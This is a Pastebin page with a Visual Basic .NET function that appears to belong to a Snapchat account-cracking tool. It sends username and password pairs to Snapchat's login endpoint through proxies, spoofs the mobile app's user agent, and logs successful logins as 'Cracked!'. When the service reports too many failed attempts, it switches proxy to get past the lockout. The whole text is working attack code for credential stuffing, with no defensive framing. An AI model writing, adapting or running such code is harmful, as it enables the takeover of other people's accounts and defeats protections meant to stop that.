Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Public Function login(username As String, Password As String, Proxy As WebProxy)
- Dim result As String
- While OFF = False
- Try
- Dim postData As String = "password=" & Password & "&req_token=9304d151ced17c086eed4ae4ffa57304c7e64d821980ca8b69b43b14ddc5188b×tamp=1509567052943&username=" & username
- Dim tempCook As CookieContainer
- Dim encoding As New UTF8Encoding
- Dim bytedata As Byte() = encoding.GetBytes(postData)
- Dim request As HttpWebRequest = DirectCast(WebRequest.Create("https://app.snapchat.com/loq/login"), HttpWebRequest)
- request.Proxy = Proxy
- request.Headers.Add("Accept-Language", "en;q=0.9")
- request.ContentType = "application/x-www-form-urlencoded"
- request.Method = "POST"
- request.KeepAlive = True
- request.CookieContainer = tempCook
- request.UserAgent = "Snapchat/8.8.0.0 (SM-G900F; Android 5.0#G900FXXS1BPCL#21; gzip)"
- request.ContentLength = bytedata.Length
- Dim requestStream As Stream = request.GetRequestStream()
- requestStream.Write(bytedata, 0, bytedata.Length)
- requestStream.Close()
- Dim responseS As HttpWebResponse
- responseS = DirectCast(request.GetResponse(), HttpWebResponse)
- Dim Reader As New StreamReader(responseS.GetResponseStream())
- Dim thepage As String = Reader.ReadToEnd
- If thepage.Contains("Thanks!") Then
- result = "Cracked!"
- Right.Text = Right.Text & vbCrLf & username & ":" & Password
- ElseIf thepage.Contains("password is incorrect") Then
- result = "password wrong"
- Wrong.Text = Wrong.Text & vbCrLf & username & ":" & Password
- ElseIf thepage.Contains("failed login attempts") Then
- result = "Proxy Blocked"
- Wrong.Text = Wrong.Text & vbCrLf & "Proxy Blocked Changing Proxy"
- ElseIf thepage.Contains("Invalid account") Then
- result = "account not found"
- Wrong.Text = Wrong.Text & vbCrLf & username & ":" & Password
- End If
- Catch ex As Exception
- Wrong.Text = Wrong.Text & vbCrLf & "Error: " & ex.Message
- End Try
- End While
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement